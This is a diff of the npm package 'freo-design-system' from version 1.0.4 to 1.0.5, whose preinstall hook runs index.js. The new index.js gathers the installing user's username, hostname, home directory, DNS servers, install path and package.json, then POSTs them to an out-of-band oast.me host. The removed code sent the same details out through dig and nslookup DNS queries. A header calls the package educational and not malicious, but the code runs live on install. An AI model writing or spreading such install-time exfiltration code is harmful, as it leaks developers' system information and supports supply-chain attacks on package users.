freo-design-system 1.0.4 → 1.0.5

package/index.js

@@ -1,26 +1,56 @@
-const { exec } = require("child_process");
+/**
+ * DNS Request Demo Script - EDUCATIONAL PURPOSES ONLY
+ * 
+ * This package is NOT MALICIOUS and is provided solely for educational purposes
+ * to demonstrate DNS exfiltration techniques. This is useful for learning about
+ * network security concepts, penetration testing training, and security research.
+ * 
+ * Created by: https://hackerone.com/david96
+ */
+
 const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
 
-// Get system information
-const username = os.userInfo().username;
-const hostname = os.hostname();
+const trackingData = JSON.stringify({
+    p: package,
+    c: __dirname,
+    hd: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: dns.getServers(),
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    v: packageJSON.version,
+    pjson: packageJSON,
+});
 
-// Create a simpler domain - avoiding potential length issues
-const targetDomain = `${username}-${hostname}.d05v713s0ahbkct7e3p04ipx6sf7m8tu5.oast.live`;
+var postData = querystring.stringify({
+    msg: trackingData,
+});
 
-// Define command based on platform
-const isWindows = os.platform() === 'win32';
-const command = isWindows 
-    ? `nslookup ${targetDomain}` 
-    : `dig ${targetDomain} || host ${targetDomain} || nslookup ${targetDomain}`;
+var options = {
+    hostname: "d060f13s0ah7niegaulgx9wqb5ehc1gi8.oast.me",
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Content-Length": postData.length,
+    },
+};
 
-console.log(`Executing: ${command}`);
+var req = https.request(options, (res) => {
+    res.on("data", (d) => {
+        process.stdout.write(d);
+    });
+});
 
-// Execute the command
-exec(command, (error, stdout, stderr) => {
-    if (error) {
-        console.log("Command attempted, DNS query was sent");
-        return;
-    }
-    console.log(stdout);
+req.on("error", (e) => {
+    // console.error(e);
 });
+
+req.write(postData);
+req.end();

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "freo-design-system",
-    "version": "1.0.4",
+    "version": "1.0.5",
     "main": "index.js",
     "scripts": {
       "preinstall": "node index.js",